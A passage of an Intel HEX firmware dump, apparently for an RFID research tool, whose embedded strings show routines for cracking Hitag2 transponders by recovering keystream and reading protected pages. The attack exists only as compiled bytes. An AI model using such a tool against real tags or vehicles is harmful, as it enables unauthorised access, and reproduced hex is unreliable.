c2\n:107ba400c400c5af2000c0a32100c0a32200c0a30d\n:107bb4002300c0a32400c0a32500c0a32600c0a3a3\n:107bc4002700c0a3010002242800c2a32c00c2275e\n:107bd40021204000c400c58fcbb8400f0000000036\n:107be4001000c0a3081f410b000000001000c29346\n:107bf4001000c327211062001c00429004004010b2\n:107c040000000000211000008f1f410b0000000045\n:107c14001000c293010042241000c2a31000c293ba\n:107c24000a00422cf1ff4014000000003600c39308\n:107c34000100022404006210000000002110000072\n:107c44008f1f410b000000001000c0a3291f410b2f\n:107c5400000000001000d0931000c39321106000b6\n:107c6400c0100200211043000b0042242c00c32743\n:107c740021106200212040000800052411b6400fa5\n:107c840000000000ff0043301000c2272110500004\n:107c9400080043a01000c293010042241000c2a3b4\n:107ca4001000c2930800422ceaff401400000000b8\n:107cb4002c00c22753004224212040000800052440\n:107cc40011b6400f00000000001202001400c2af01\n:107cd4002c00c2275c004224212040000800052417\n:107ce40011b6400f000000001400c38f2110620081\n:107cf4001400c2af1800c227212040000800052448\n:107d040084bd400f00000000211840001400c28f01\n:107d14000400621000000000211000008f1f410bbe\n:107d2400000000001000c0a3621f410b000000000f\n:107d34001000c39321106000c01002002110430002\n:107d4400650042242c00c327211862002000c227aa\n:107d54002120600021284000090006240954410f15\n:107d6400000000000400401000000000211000008a\n:107d74008f1f410b000000001000c2930100422439\n:107d84001000c2a31000c2930300422ce8ff401469\n:107d9400000000001000c0a38a1f410b0000000077\n:107da4001000c2930100432421106000c01002009f\n:107db400211043000a0042241000c327211062004e\n:107dc4001c00439001000224040062100000000023\n:107dd400211000008f1f410b000000001000c2930f\n:107de400c0100200c000c38f212062001000c393a2\n:107df40021106000c0100200211043000b00422437\n:107e04002c00c3272110620021284000080006240a\n:107e1400214b410f000000001000c29301004224d6\n:107e24001000c2a31000c2930800422cdcff4014cf\n:107e3400000000000100022421e8c003bc00bf8f41\n:107e4400b800be8fb400b08fc000bd270800e003a7\n:047e5400000000002a\n:020000040000fa\n:020000041d04d9\n:107e5800301088bf601088bf01000000301088bf54\n:107e6800601088bf02000000301088bf601088bf13\n:107e780004000000301088bf601088bf08000000b0\n:107e8800301088bf601088bf80000000301088bfa5\n:107e9800601088bf00080000301088bf601088bfdd\n:107ea80000800000301088bf601088bf0000080004\n:107eb800301088bf601088bf10000000301088bfe5\n:107ec800601088bf00010000301088bf601088bfb4\n:107ed80000100000301088bf601088bf000001004b\n:107ee800301088bf601088bf00001000301088bfb5\n:107ef800601088bf20000000301088bf601088bf65\n:107f080000020000301088bf601088bf0020000009\n:107f1800301088bf601088bf00000200301088bf92\n:107f2800601088bf00002000401088bf701088bf14\n:107f380000000020401088bf701088bf000000407b\n:107f4800401088bf701088bf00000080501088bfa4\n:107f5800801088bf01000000501088bf801088bfc3\n:107f680002000000301088bf601088bf4000000089\n:107f7800301088bf601088bf00040000301088bf30\n:107f8800601088bf00400000301088bf601088bfb4\n:107f980000000400301088bf601088bf0000400057\n:107fa800401088bf701088bf01000000301088bfe3\n:107fb800601088bf00008003401088bf701088bf21\n:107fc800e0000000301088bf601088bf0000001c6f\n:107fd800401088bf701088bf00070000301088bfad\n:107fe800601088bf00008000401088bf701088bff4\n:107ff80020000000301088bf601088bf0000000417\n:10800800401088bf701088bf00010000301088bf82\n:10801800601088bf00000002401088bf701088bf41\n:1080280080000000301088bf601088bf000000107a\n:10803800401088bf701088bf00040000301088bf4f\n:10804800601088bf00000001401088bf701088bf12\n:1080580040000000301088bf601088bf0000000892\n:10806800401088bf701088bf00020000301088bf21\n:10807800601088bf000000e0401088bf701088bf03\n:1080880000380000301088bf601088bf0000001c56\n:10809800401088bf701088bfe0000000401088bf03\n:1080a800701088bf00070000301088bf601088bfbc\n:1080b80000000020401088bf701088bf0008000032\n:1080c800301088bf601088bf00000004401088bfcf\n:1080d800701088bf20000000401088bf701088bf53\n:1080e80000010000301088bf601088bf0000004009\n:1080f800401088bf701088bf00100000301088bf83\n:10810800601088bf00000008401088bf701088bf4a\n:1081180040000000401088bf701088bf00020000b7\n:10812800301088bf601088bf00000080401088bff2\n:10813800701088bf00200000301088bf601088bf12\n:1081480000000010401088bf701088bf8000000039\n:10815800401088bf701088bf00040000301088bf2e\n:10816800601088bf0000001c401088bf701088bfd6\n:1081780000070000401088bf701088bfe0000000b2\n:10818800501088bf801088bf38000000501088bf8a\n:10819800801088bf000e0000501088bf801088bf74\n:1081a800c0010000301088bf601088bf00000004c4\n:1081b800401088bf701088bf00010000401088bfc1\n:1081c800701088bf20000000501088bf801088bf42\n:1081d80008000000501088bf801088bf000200000f\n:1081e800501088bf801088bf40000000301088bf42\n:1081f800601088bf00000008401088bf701088bf5a\n:1082080000020000401088bf701088bf40000000c6\n:10821800501088bf801088bf10000000501088bf21\n:10822800801088bf00040000501088bf801088bfed\n:1082380080000000301088bf601088bf0000001068\n:10824800401088bf701088bf00040000401088bf2d\n:10825800701088bf80000000501088bf801088bf51\n:1082680020000000501088bf801088bf0008000060\n:10827800501088bf801088bf00010000401088bfe0\n:10828800701088bf02000000401088bf701088bfbf\n:1082980004000000501088bf801088bf0400000050\n:1082a800401088bf701088bf08000000401088bfc9\n:1082b800701088bf10000000401088bf701088bf81\n:1082c80000400000401088bf701088bf0000000107\n:1082d800401088bf701088bf00800000401088bf21\n:1082e800701088bf00000100401088bf701088bf60\n:1082f80000000200401088bf701088bf0000040012\n:10830800401088bf701088bf00000800401088bf68\n:10831800701088bf00001000401088bf701088bf20\n:1083280000002000401088bf701088bf0000400087\n:10833800401088bf701088bf00008000401088bfc0\n:10834800701088bf00000002401088bf701088bffe\n:1083580000000004401088bf701088bf00000008ab\n:10836800401088bf701088bf00000010901088bfb0\n:108378000000000002000000901088bf0800000004\n:108388000a000000901088bf1000000012000000d2\n:10839800901088bf180000001a000000a01088bfc5\n:1083a800180000001a000000b01088bf1800000074\n:1083b8001a000000c01088bf180000001a00000052\n:1083c800d01088bf180000001a000000a01088bf55\n:1083d8000000000002000000b01088bf000000008c\n:1083e80002000000c01088bf00000000020000006a\n:1083f800d01088bf0000000002000000e01088bf15\n:108408000000000002000000a01088bf0800000063\n:108418000a000000b01088bf080000000a00000031\n:10842800c01088bf080000000a000000d01088bff4\n:10843800080000000a000000e01088bf08000000e3\n:108448000a000000a01088bf100000001200000001\n:10845800b01088bf1000000012000000c01088bfd4\n:108468001000000012000000d01088bf10000000ab\n:1084780012000000e01088bf100000001200000089\n:10848800e01088bf180000001a000000001188bf23\n:10849800180000001a000000f01088bf000000005b\n:1084a80002000000101188bf000000000200000058\n:1084b800f01088bf0000000002000000101188bf03\n:1084c8000000000002000000001188bf1800000032\n:1084d8001a000000501188bf080000000a000000c0\n:1084e800501188bf180000001a000000501188bf02\n:1084f8001000000012000000f01088bf0800000003\n:108508000a000000101188bf080000000a000000df\n:10851800f01088bf0000000002000000001188bfb2\n:10852800180000001a000000101188bf00000000a9\n:1085380002000000f01088bf1000000012000000c8\n:10854800f01088bf180000001a000000001188bf52\n:108558000000000002000000001188bf08000000b1\n:108568000a000000001188bf10000000120000007f\n:10857800101188bf1000000012000000101188bf01\n:10858800180000001a000000201188bf0000000039\n:1085980002000000201188bf080000000a00000047\n:1085a800201188bf1000000012000000201188bfb1\n:1085b800180000001a000000301188bf00000000f9\n:1085c80002000000301188bf080000000a00000007\n:1085d800301188bf1000000012000000301188bf61\n:1085e800180000001a000000401188bf00000000b9\n:1085f80002000000401188bf080000000a000000c7\n:10860800401188bf1000000012000000401188bf10\n:10861800180000001a000000501188bf0000000078\n:10862800020000000d0a000043616e6e6f7420673f\n:108638006574205549440d0a00000000506c6561be\n:10864800736520737570706c7920612076616c6930\n:1086580064206e5220615220706169720d0a000018\n:108668006e52206973206e6f7420333220626974f1\n:1086780073206c6f6e670d0a00000000615220695c\n:1086880073206e6f742033322062697473206c6fac\n:108698006e670d0a0000000043616e6e6f742066fd\n:1086a800696e6420612076616c696420656e63720e\n:1086b800797074656420636f6d6d616e640d0a0076\n:1086c80043616e6e6f742066696e6420656e6372b6\n:1086d80079707465642027726561642070616765cc\n:1086e800302720636f6d6d616e640d0a0000000015\n:1086f8002531643a2025730d0a0000002531643abb\n:108708000d0a000046696e64696e672076616c69bf\n:108718006420656e6372797074656420636f6d6d33\n:10872800616e643a0000000046343032383839430c\n:10873800000000002e0000006869746167326372ef\n:1087480061636b5f66696e645f76616c69645f65bf\n:108758005f636d643a0d0a206e6f2076616c696400\n:1087680020656e6372797074656420636f6d6d61e6\n:108778006e6420666f756e640d0a000046696e644b\n:10878800696e6720277265616420706167652030b3\n:108798002720636f6d6d616e643a000068697461cb\n:1087a8006732637261636b5f66696e645f655f7091\n:1087b800616765305f636d643a0d0a20636f756c9d\n:1087c80064206e6f742066696e6420656e637279ca\n:1087d8007074656420277265616420706167652024\n:1087e800302720636f6d6d616e640d0a0000000014\n:1087f80031313030303030313131000068697461e6\n:108808006732637261636b5f726561645f70616731\n:10881800653a0d0a20696e76616c6964207061673b\n:10882800656e756d0d0a0000686974616732637260\n:1088380061636b5f726561645f706167653a0d0ab9\n:1088480020686974616732637261636b5f73656e18\n:10885800645f655f636d642072657475726e6564cc\n:10886800204552524f525f524553504f4e53450d7b\n:108878000a000000686974616732637261636b5f44\n:10888800726561645f706167653a0d0a2068697492\n:10889800616732637261636b5f73656e645f655fa6\n:1088a800636d64206661696c65640d0a00000000f0\n:1088b800686974616732637261636b5f73656e6464\n:1088c8005f655f636d643a0d0a2063616e6e6f7455\n:1088d80020676574205549440d0a00006869746171\n:1088e8006732637261636b5f73656e645f655f6354\n:1088f8006d643a0d0a2063616e6e6f74206765744b\n:10890800205549442028326e642074696d65290d0c\n:108918000a000000686974616732637261636b5fa3\n:1089280073656e645f655f636d643a0d0a207478e1\n:108938002f7278206e726172206661696c65640db1\n:108948000a000000686974616732637261636b5f73\n:1089580074785f72783a207277645f73656e64200a\n:108968006661696c65640d0a0000000068697461dd\n:108978006732637261636b5f74785f72783a206ef6\n:108988006f2073796e630d0a000000002f722f6e3e\n:10899800666f726d617420697320277368617265f0\n:1089a800646b657920554944206e522720696e20f2\n:1089b8006865780d0a0000002f722f6e7368617267\n:1089c80065646b65792073686f756c6420626520d7\n:1089d80034382062697473206c6f6e6720283132d6\n:1089e800206865786368617273290d0a00000000c9\n:1089f8002f722f6e6e6f205549440d0a000000003b\n:108a08002f722f6e5549442073686f756c6420620d\n:108a1800652033322062697473206c6f6e6720287a\n:108a280038206865786368617273290d0a00000050\n:108a38002f722f6e6e522073686f756c642062659a\n:108a48002033322062697473206c6f6e6720283877\n:108a5800206865786368617273290d0a0000000058\n:108a6800537563636573730d0a0000002f722f6ed0\n:108a7800686578206d757374206265203332626989\n:108a880074732028382068657820636861727329b8\n:108a98000d0a00000d0a62696e61727920737472a2\n:108aa800696e67206d757374206265203c3d2033c4\n:108ab8003220626974730d0a0000000068697461ed\n:108ac8006732637261636b5f73656e645f6175744f\n:108ad80068206661696c65640d0a000068697461e4\n:108ae8006732637261636b5f636f6e73756d655f29\n:108af8006b657973747265616d206661696c656414\n:108b08000d0a0000686974616732637261636b5fa4\n:108b1800657874656e645f6b657973747265616d91\n:108b2800206661696c65640d0a0000005265636f18\n:108b380076657265642025642062697473206f66a7\n:108b4800206b657973747265616d0d0a0000000011\n:108b580025730d0a0000000068697461673263724a\n:108b680061636b5f73656e645f617574683a0d0a63\n:108b78002063616e6e6f7420676574205549440ddb\n:108b88000a000000686974616732637261636b5f31\n:108b980073656e645f617574683a0d0a2063616e6f\n:108ba8006e6f7420676574205549442028326e64be\n:108bb8002074696d65290d0a0000000068697461f8\n:108bc8006732637261636b5f73656e645f6175744e\n:108bd800683a0d0a2074782f7278206e72617220bc\n:108be8006661696c65640d0a00000000686974615b\n:108bf8006732637261636b5f636f6e73756d655f18\n:108c08006b657973747265616d3a0d0a20636f6ed6\n:108c18006c656e203c2031300d0a00006869746173\n:108c28006732637261636b5f636f6e73756d655fe7\n:108c38006b657973747265616d3a0d0a2074782fcb\n:108c4800727820636d64206661696c65640d0a0042\n:108c5800686974616732637261636b5f636f6e73b7\n:108c6800756d655f6b657973747265616d3a0d0a30\n:108c780020676f74206572726f7220726573706fef\n:108c88006e73652066726f6d20636172640d0a00f1\n:108c9800686974616732637261636b5f6578746574\n:108ca8006e645f6b657973747265616d3a0d0a2045\n:108cb800636d646c656e203c2031300d0a00000045\n:108cc800686974616732637261636b5f6578746544\n:108cd8006e645f6b657973747265616d3a0d0a2015\n:108ce80074782f727820636d64206661696c65649e\n:108cf8000d0a0000686974616732637261636b5fb3\n:108d0800657874656e645f6b657973747265616d9f\n:108d18003a0d0a20676f74206572726f722072654f\n:108d280073706f6e73652066726f6d206361726415\n:108d38000d0a000058585858585858580000000054\n:108d480025643a20000000002573000068697461fa\n:108d580067325f66696e645f7461673a20636f7536\n:108d68006e7420697320696e76616c69640d0a00ff\n:108d7800496e76616c6964204e564d20636f756e3e\n:108d88007465720d0a000000256420746167732001\n:108d980073746f7265640d0a000000004e6f2048fe\n:108da800695461673220746167732073746f7265e8\n:108db800640d0a00496e76616c69642074616720ed\n:108dc80073656c656374696f6e0d0a005461672082\n:0c8dd8006e756d6265722025640d0a0046\n:020000040000fa\n:020000041d04d9\n:108de400e8ffbd271400bfaf1000beaf21f0a00301\n:108df400079d023cffdf443400a0023cdc564524be\n:108e0400fc00062400a0023c5c4547246e4d410f43\n:108e140000000000079d023cfbe0443400a0023c3b\n:108e2400d85745240812062400a0023c5c45472478\n:108e34006e4d410f000000009923410f0000000017\n:108e44000100422cff00423021e8c0031400bf8f10\n:108e54001000be8f1800bd270800e00300000000ca\n:108e6400e8ffbd271400bfaf1000beaf21f0a00380\n:108e740000a0023cdc564424079d023cffdf45343d\n:108e8400fc0006240954410f0000000004004010b7\n:108e94000000000001000224b623410b0000000082\n:108ea40000a0023cd8574424079d023cfbe0453413\n:108eb400081206240954410f000000000400401069\n:108ec4000000000001000224b623410b0000000052\n:108ed4002110000021e8c0031400bf8f1000be8fd2\n:108ee4001800bd270800e00300000000e8ffbd27cc\n:108ef4001400bfaf1000beaf21f0a00300a0023cdd\n:108f0400dc564424079d023cffdf4534fc00062464\n:108f1400214b410f0000000000a0023cdc56442419\n:108f2400059d023ca0eb4524070006240954410f8b\n:108f340000000000180040100000000000a0023ce7\n:108f4400dc56442421280000fc0006247152410f01\n:108f54000000000000a0023c4944033c5246633434\n:108f6400dc5643acdc5643246c650424040064a43e\n:108f7400dc56422472000324060043a07923410fe7\n:108f840000000000be9d400f000000002110000002\n:108f9400ef23410b0000000000a0023cd8574424fa\n:108fa400079d023cfbe0453408120624214b410f87\n:108fb400000000000100022421e8c0031400bf8f58\n:108fc4001000be8f1800bd270800e0030000000059\n:108fd400e0ffbd271c00bfaf1800beaf21f0a00307\n:108fe400079d023cffdf42341000c2af0524410b51\n:108ff400000000001000c28f21204000b058410f33\n:10900400000000001000c28f001042241000c2af04\n:109014001000c38f079d023cfbe042342b1062001a\n:10902400f4ff40140000000021e8c0031c00bf8fbf\n:109034001800be8f2000bd270800e00300000000d8\n:10904400e8ffbd271400bfaf1000beaf21f0a0039e\n:10905400059d023ca8eb4424059d023caceb452451\n:109064000413410f0000000000a0023cdc5642241f\n:10907400870042902118400000a0023c80180300a1\n:109084004c714224211062000000428c059d033c77\n:10909400c4eb6424212840000413410f00000000a5\n:1090a40000a0023cdc5642249c00428c059d033cfb\n:1090b400e0eb6424212840006913410f0000000004\n:1090c40000a0023cdc564224a0004290211840003b\n:1090d40000a0023c80180300a87142242110620001\n:1090e4000000428c059d033cfceb642421284000d5\n:1090f4000413410f0000000000a0023cdc5642248f\n:10910400cc00438c00a0023c801803001c004224c5\n:10911400211062000000428c059d033c18ec64247d\n:10912400212840000413410f0000000000a0023c6d\n:10913400dc564224c400438c00a0023c8018030087\n:109144001c004224211062000000428c059d033c57\n:1091540034ec6424212840000413410f0000000073\n:1091640000a0023cdc564224c800438c00a0023c10\n:10917400801803001c004224211062000000428c6d\n:10918400059d033c50ec6424212840000413410f46\n:109194000000000000a0023cdc564224a400428ce3\n:1091a400059d033c6cec6424212840006913410fa5\n:1091b4000000000000a0023cdc564224a800428cbf\n:1091c400059d033c88ec6424212840006913410f69\n:1091d4000000000000a0023cdc564224ac00428c9b\n:1091e400059d033ca4ec6424212840006913410f2d\n:1091f4000000000000a0023cdc564224b000428c77\n:10920400059d033cc0ec6424212840006913410ff0\n:109214000000000000a0023cdc564224b400428c52\n:10922400059d033cdcec6424212840006913410fb4\n:109234000000000000a0023cdc564224b800428c2e\n:10924400059d033cf8ec6424212840006913410f78\n:109254000000000000a0023cdc564224bc00429006\n:10926400059d033c14ed6424212840006913410f3b\n:109274000000000000a0023cdc564224bd004290e5\n:10928400059d033c30ed6424212840006913410fff\n:109294000000000000a0023cdc564224be004290c4\n:1092a400059d033c50ed6424212840006913410fbf\n:1092b4000000000000a0023cdc564224bf004290a3\n:1092c400059d033c70ed6424212840006913410f7f\n:1092d4000000000000a0023cdc564224c000429082\n:1092e400059d033c90ed6424212840006913410f3f\n:1092f4000000000000a0023cdc564224d800428c4e\n:10930400059d033cb0ed6424212840006913410ffe\n:109314000000000000a0023cdc564224dc00428c29\n:10932400059d033ccced6424212840006913410fc2\n:109334000000000000a0023cdc5642248800428c5d\n:10934400059d033ce8ed6424212840006913410f86\n:109354000000000000a0023cdc564224d400428cf1\n:10936400059d033c04ee6424212840006913410f49\n:109374000000000000a0023cdc5642248c00428c19\n:10938400059d033c20ee6424212840006913410f0d\n:109394000000000000a0023cdc564224e000428ca5\n:1093a400059d033c3cee6424212840006913410fd1\n:1093b4000000000000a0023cdc564224ec00428c79\n:1093c400059d033c58ee6424212840006913410f95\n:1093d4000000000000a0023cdc564224f000428c55\n:1093e400059d033c74ee6424212840006913410f59\n:1093f4000000000000a0023cdc564224e400428c41\n:10940400059d033c90ee6424212840006913410f1c\n:109414000000000000a0023cdc564224e800428c1c\n:10942400059d033cacee6424212840006913410fe0\n:109434000000000000a0023cdc564224f800428cec\n:10944400059d033cc8ee6424212840006913410fa4\n:109454000000000000a0023cdc564224f400428cd0\n:10946400059d033ce4ee6424212840006913410f68\n:109474000000000000a0023cdc5642249000428c14\n:10948400059d033c00ef6424212840006913410f2b\n:109494000000000000a0023cdc5642249400428cf0\n:1094a400059d033c1cef6424212840006913410fef\n:1094b4000000000000a0023cdc5642249800438ccb\n:1094c40000a0023c80180300240042242110620002\n:1094d4000000428c059d033c38ef642421284000a1\n:1094e4000413410f0000000021e8c0031400bf8fe3\n:1094f4001000be8f1800bd270800e0030000000024\n:10950400f8ffbd270400beaf21f0a0030800c4afdc\n:109514002110a0000c00c2a30c00c293f9ff422446\n:109524000c00432c2d006010000000008018020085\n:10953400059d023c4c954224211062000000428c9f\n:1095440008004000000000009495049dac95049d23\n:10955400e095049dc495049de095049de095049dcb\n:10956400e095049de095049de095049dcc95049db3\n:10957400e095049d7c95049d0800c28f040003249b\n:10958400000043ac010002247925410b00000000d7\n:109594000800c28f01000324000043ac0100022430\n:1095a4007925410b000000000800c28f030003244a\n:1095b400000043ac010002247925410b00000000a7\n:1095c4000800c28f000040ac0800c28f000040ac0d\n:1095d400010002247925410b000000002110000045\n:1095e40021e8c0030400be8f0800bd270800e00383\n:1095f40000000000f8ffbd270400beaf21f0a00367\n:109604000800c4af2110a0000c00c2a30c00c29338\n:10961400f9ff42240c00432c3200601000000000cb\n:1096240080180200059d023c4096422421106200ed\n:109634000000428c08004000000000008896049d51\n:10964400a096049de896049db896049de896049d12\n:10965400e896049de896049de896049de896049d8a\n:10966400d096049de896049d7096049d0800c28fd0\n:1096740005000324000043ac01000224bb25410b78\n:10968400000000000800c28f04000324000043ac63\n:1096940001000224bb25410b000000000800c28f1a\n:1096a40004000324000043ac01000224bb25410b49\n:1096b400000000000800c28f01000324000043ac36\n:1096c40001000224bb25410b000000000800c28fea\n:1096d40001000324000043ac01000224bb25410b1c\n:1096e400000000002110000021e8c0030400be8f28\n:1096f4000800bd270800e00300000000f8ffbd27b4\n:109704000400beaf21f0a0030800c4af2110a000e4\n:109714000c00c2a30c00c2930a00032418004310d7\n:10972400000000000b004328060060100000000049\n:10973400080003240c00431000000000ed25410b39\n:109744000000000010000324130043100000000078\n:10975400120003241600431400000000211000002e\n:10976400ee25410b000000000800c28f0100032415\n:10977400000043ac01000224ee25410b0000000070\n:109784000800c28f07000324000043ac0100022438\n:10979400ee25410b000000000800c28f07000324df\n:1097a400000043ac01000224ee25410b0000000040\n:1097b4002110000021e8c0030400be8f0800bd276b\n:1097c4000800e00300000000f8ffbd270400beaf5e\n:1097d40021f0a0030800c4af2110a0000c00c2a314\n:1097e4000c00c29308000324090043100000000089\n:1097f400120003240c004314000000000800c28f70\n:10980400000040ac010002240c26410b00000000c3\n:109814000800c28f02000324000043ac01000224ac\n:109824000c26410b000000002110000021e8c003b9\n:109834000400be8f0800bd270800e00300000000fc\n:10984400e0ffbd271c00bfaf1800beaf21f0a0038e\n:109854002000c4af2110a0002400c2a32400c2939e\n:109864001000c32721206000212840004125410f1a\n:10987400000000000b004010000000001000c28f28\n:10988400211840001000c28f2000c48f21286000de\n:1098940021304000a444410f000000002b26410b5e\n:1098a400000000002110000021e8c0031c00bf8f4d\n:1098b4001800be8f2000bd270800e0030000000050\n:1098c400e0ffbd271c00bfaf1800beaf21f0a0030e\n:1098d4002000c4af2110a0002400c2a32400c2931e\n:1098e4001000c3272120600021284000c025410f1b\n:1098f400000000000b004010000000001000c28fa8\n:10990400211840001000c28f2000c48f212860005d\n:1099140021304000a444410f000000004b26410bbd\n:10992400000000002110000021e8c0031c00bf8fcc\n:109934001800be8f2000bd270800e00300000000cf\n:10994400e0ffbd271c00bfaf1800beaf21f0a0038d\n:109954002000c4af2110a0002400c2a32400c2939d\n:109964001000c3272120600021284000f325410f67\n:10997400000000000b004010000000001000c28f27\n:10998400211840001000c28f2000c48f21286000dd\n:1099940021304000a444410f000000006b26410b1d\n:1099a400000000002110000021e8c0031c00bf8f4c\n:1099b4001800be8f2000bd270800e003000000004f\n:1099c400e8ffbd271400bfaf1000beaf21f0a00315\n:1099d4001800c4af2118a0002110c0001c00c3a3ac\n:1099e4002000c2a32000c2930a0003241d004310d8\n:1099f400000000000b004328060060100000000077\n:109a0400080003241000431000000000a826410ba6\n:109a1400000000001000032419004310000000009f\n:109a2400120003241d004314000000001c00c29314\n:109a34001800c48f212840004ee1400f00000000b0\n:109a4400a926410b000000001c00c2931800c48f1b\n:109a5400212840001cb3400f00000000a926410b40\n:109a6400000000001c00c2931800c48f212840008d\n:109a740091d2400f00000000a926410b0000000015\n:109a84001c00c2931800c48f212840009ee6400f9a\n:109a940000000000a926410b000000002110000076\n:109aa40021e8c0031400bf8f1000be8f1800bd272b\n:109ab4000800e00300000000e8ffbd271400bfaf6a\n:109ac4001000beaf21f0a0031800c4af1c00c5af46\n:109ad4002000c6af2110e0002400c2a32400c293da\n:109ae4000a0003241c004310000000000b0043285c\n:109af4000600601000000000080003240f0043105b\n:109b040000000000e326410b0000000010000324c5\n:109b14001700431000000000120003241a0043142d\n:109b2400000000001800c48f2000c58fb2df400f72\n:109b340000000000e426410b000000001800c48f60\n:109b44001c00c58f2000c68f33b4400f00000000f6\n:109b5400e426410b000000001800c48f1c00c58fd0\n:109b640022d1400f00000000e426410b0000000059\n:109b74001800c48f1c00c58f13e4400f00000000c0\n:109b8400e426410b000000002110000021e8c0037e\n:109b94001400bf8f1000be8f1800bd270800e0031b\n:109ba4000000000088ffbd277400bfaf7000beaf87\n:109bb4006c00b2af6800b1af6400b0af21f0a00395\n:109bc4007800c4af88bf023c2061428c010042305f\n:109bd4000300401400000000a427410b0000000013\n:109be4001c00c22721204000300005244000062428\n:109bf4007152410f000000005c00c0a37800c48fc4\n:109c04007b4b410f000000001100422c2500401442\n:109c140000000000040002241a00c2a31800c0a31c\n:109c24007800c48f7b4b410f00000000ff004230de\n:109c3400ffff42241900c2a32127410b00000000aa\n:109c44001800c2933f000324231062001900c39339\n:109c54007800c48f21188300000063901800c42783\n:109c640021108200040043a01800c2930100422482\n:109c74001800c2a31900c293ffff42241900c2a313\n:109c84001800d2937800c48f7b4b410f0000000072\n:109c94002b104202eaff4014000000003927410b58\n:109ca40000000000010002241a00c2a37800c48f3f\n:109cb4007b4b410f00000000ff00423001004230a6\n:109cc4001900c2a31900c2931c00c327211062000b\n:109cd400212040007800c58f574a410f0000000042\n:109ce4001900c0a37b27410b000000001900c29398\n:109cf400c018020000a0023c806f422421186200b8\n:109d04001900c293001102001c00c4272110820014\n:109d1400212060002128400051b8400f00000000bd\n:109d2400040040140000000021100000a427410b8f\n:109d3400000000001800c0a37427410b00000000bd\n:109d44001800c3931900c2938011020021306200ed\n:109d54001900c39300a0023cc0180300806f422482\n:109d6400211062000400438c0000428c1800c4934c\n:109d74003f0005242320a400200085302138000062\n:109d840040480300ffff08242640880004400901de\n:109d94000680820025801001068883000b8025023e\n:109da4000b88e500ff00023201004230ff0043301f\n:109db40000a0023ca06f42242110c200000043a076\n:109dc4001800c293010042241800c2a31800c293d1\n:109dd4004000422cdaff4014000000001900c29336\n:109de400010042241900c2a31900c3931a00c293ac\n:109df4002b106200bdff4014000000001a00c39342\n:109e04000100022406006214000000001800c0a330\n:109e1400400002241900c2a38d27410b000000005a\n:109e2400200002241800c2a3e0ff02241900c2a3e8\n:109e34001800c39300a0023ca06f422421206200ba\n:109e44001900c59300a0023cdc5642249c00438cbc\n:109e540000a0023cdc564224a400428c00a0063c34\n:109e6400dc56c624a800c78c00a0063cdc56c624d9\n:109e7400d400c68c1000a7af1400a6af2130600038\n:109e840021384000a607410f0000000021e8c0036c\n:109e94007400bf8f7000be8f6c00b28f6800b18fea\n:109ea4006400b08f7800bd270800e00300000000c4\n:109eb400d8ffbd272400bfaf2000beaf21f0a00310\n:109ec4002800c4af2800c48fb008410f0000000070\n:109ed40008004010000000002800c48f7b4b410f95\n:109ee4000000000021184000100002240400621049\n:109ef40000000000211000004828410b0000000071\n:109f04002800c28f0f004224000043903500022431\n:109f14000a006210000000002800c28f0f004224d3\n:109f2400000043904400022404006210000000007a\n:109f3400211000004828410b000000002800c28fb7\n:109f44000e004224000043903000022416006210e8\n:109f5400000000002800c28f0e004224000043903d\n:109f64003100022410006210000000002800c28f9b\n:109f74000e00422400004390380002240a006210bc\n:109f8400000000002800c28f0e004224000043900d\n:109f940039000224040062100000000021100000b7\n:109fa4004828410b000000001400c0af1000c0afef\n:109fb4003e28410b000000001400c28f2800c38f0c\n:109fc40021106200000042906100422c10004014f5\n:109fd400000000001400c28f2800c38f211062000b\n:109fe400000042906700422c09004010000000006d\n:109ff4001400c28f2800c38f211062000000429019\n:10a00400a9ff42241800c2af3428410b000000000d\n:10a014001400c28f2800c38f2110620000004290f8\n:10a024003000422c10004014000000001400c28fc5\n:10a034002800c38f21106200000042903a00422c95\n:10a0440009004010000000001400c28f2800c38fd4\n:10a054002110620000004290d0ff42241800c2afd9\n:10a064003428410b000000001400c28f2800c38f65\n:10a0740021106200000042904100422c1000401464\n:10a08400000000001400c28f2800c38f211062005a\n:10a09400000042904700422c0900401000000000dc\n:10a0a4001400c28f2800c38f211062000000429068\n:10a0b400c9ff42241800c2af3428410b000000003d\n:10a0c400211000004828410b000000001800c28f36\n:10a0d400212040004558410f000000001000c38fac\n:10a0e400211062001000c2af1400c28f010042248c\n:10a0f4001400c2af1400c28f10004228aeff4014f7\n:10a10400000000001000c38fc3170300c217020031\n:10a1140021186200010063302310620021e8c003ab\n:10a124002400bf8f2000be8f2800bd270800e00355\n:10a1340000000000e8ffbd271400bfaf1000beaf51\n:10a1440021f0a0031800c4af1c00c5af1c00c28fcf\n:10a1540000004280040040140000000021100000b0\n:10a164006028410b000000001800c48f1c00c58f3c\n:10a17400574a410f000000000100022421e8c003f7\n:10a184001400bf8f1000be8f1800bd270800e00325\n:10a1940000000000e8ffbd271400bfaf1000beaff1\n:10a1a40021f0a0031800c4af1800c48fb008410ff9\n:10a1b4000000000021e8c0031400bf8f1000be8f10\n:10a1c4001800bd270800e00300000000e8ffbd27d9\n:10a1d4001400bfaf1000beaf21f0a0031800c4af3d\n:10a1e4001c00c5af1c00c28f000042800400401454\n:10a1f40000000000211000008628410b0000000030\n:10a204001800c48f1c00c58f574a410f000000007e\n:10a214000100022421e8c0031400bf8f1000be8f88\n:10a224001800bd270800e00300000000e8ffbd2778\n:10a234001400bfaf1000beaf21f0a0031800c4afdc\n:10a244001c00c5af1800c48f1c00c58f6629410fc0\n:10a254000000000008004010000000001800c48f37\n:10a264001800c58f6000062447b9400f00000000a5\n:10a27400a028410b000000002110000021e8c003c9\n:10a284001400bf8f1000be8f1800bd270800e00324\n:10a294000000000068ffbd279400bfaf9000beaf70\n:10a2a4008c00b0af21f0a0039800c4af9c00c5aff0\n:10a2b4001400c227212040009c00c58fcbb8400f5a\n:10a2c4000000000004004014000000002110000001\n:10a2d4005f29410b000000001000c0a3c628410bf9\n:10a2e400000000001000c2931000c3272110620078\n:10a2f40004004290040040100000000021100000ff\n:10a304005f29410b000000001000c29301004224a9\n:10a314001000c2a31000c2930400422cf1ff4014a9\n:10a32400000000001400c3271400c22704004224c4\n:10a3340021206000212840005c000624214b410fad\n:10a3440000000000010002241000c2a3ff28410bfa\n:10a35400000000001000c29380100200ffff42249e\n:10a364001000c32721106200040050901000c29313\n:10a37400ffff4224801002001400c3272110620052\n:10a38400212040000100052403000624e3bc400f03\n:10a394000000000004000212000000002110000070\n:10a3a4005f29410b000000001000c293ffff43240b\n:10a3b4002110600040100200211043001400c32744\n:10a3c400211862001000c293ffff42248010020093\n:10a3d4001400c4272110820021206000212840009d\n:10a3e40003000624214b410f000000001000c2931b\n:10a3f40